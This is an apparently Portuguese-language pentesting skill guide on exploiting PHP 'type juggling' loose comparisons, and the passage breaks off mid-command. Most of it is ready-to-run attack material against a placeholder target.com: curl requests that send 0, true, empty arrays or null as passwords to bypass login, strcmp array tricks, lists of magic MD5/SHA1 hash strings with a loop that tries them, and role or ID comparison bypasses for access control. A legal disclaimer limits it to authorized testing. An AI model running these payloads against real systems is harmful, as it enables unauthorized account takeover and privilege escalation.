Explorando Vulnerabilidades de "Type Juggling"

Quando Usar

• Ao testar aplicações web PHP em busca de vulnerabilidades de bypass de autenticação
• Durante a avaliação da lógica de comparação de senhas e verificação de hashes
• Ao testar aplicações que usam comparação frouxa (== em vez de ===)
• Durante a revisão de código de aplicações PHP que manipulam entrada JSON ou desserializada
• Ao avaliar a validação de entrada que depende de comparação dependente de tipo

Pré-requisitos

• Compreensão do sistema de tipos do PHP e do comportamento da comparação frouxa
• Conhecimento de valores mágicos de hash (prefixo 0e) e sua interpretação em notação científica
• Burp Suite para manipulação de requisições e alteração de tipo de parâmetro
• Ambiente de desenvolvimento PHP para testar payloads localmente
• Coleção de strings de hash mágicas do PayloadsAllTheThings
• Capacidade de enviar dados JSON ou serializados para controlar os tipos de entrada

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Identificar Candidatos a "Type Juggling"

# Look for PHP applications with:
# - Login/authentication forms
# - Password comparison endpoints
# - API endpoints accepting JSON input
# - Token/hash verification
# - Numeric comparison for access control

# Check if application accepts JSON input (allows type control)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# If application normally uses form data, try JSON
# Form: username=admin&password=test
# JSON: {"username":"admin","password":true}

Passo 2 — Explorar Bypass de Autenticação com Comparação Frouxa

# PHP loose comparison: 0 == "password" returns TRUE
# Send integer 0 as password via JSON
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# Send boolean true (TRUE == "any_string" in loose comparison)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# Send empty array (array bypasses strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# Send null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp vulnerability: strcmp(array, string) returns NULL
# NULL == 0 is TRUE in loose comparison
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

Passo 3 — Explorar Colisões de Hash Mágicos

# PHP treats "0e..." strings as scientific notation (0 * 10^N = 0)
# If hash starts with "0e" followed by only digits, it equals 0 in loose comparison

# Magic MD5 hashes (all evaluate to 0 in loose comparison):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# If application compares md5(user_input) == stored_hash:
# And stored_hash starts with "0e" and contains only digits after
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# Magic SHA1 hashes:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# Test with known magic hash values
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "Testing: $payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

Passo 4 — Explorar Comparação no Controle de Acesso

# Bypass de comparação numérica
# Se: if($user_id == $target_id) { // permite acesso }
# "0" == "0e12345" é VERDADEIRO (ambos avaliam para 0)

# Conversão de string para inteiro
# "1abc" == 1 é VERDADEIRO em PHP (string truncada para inteiro)
curl "http://target.com/api/user?id=1abc"

# Comparação booleana para verificação de permissão
# if($role == true) concede acesso a qualquer string não vazia
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# Comparação nula para verificações opcionais
# if($token == null) pode pular a validação
curl -X POST http://target.com/api/verify \

…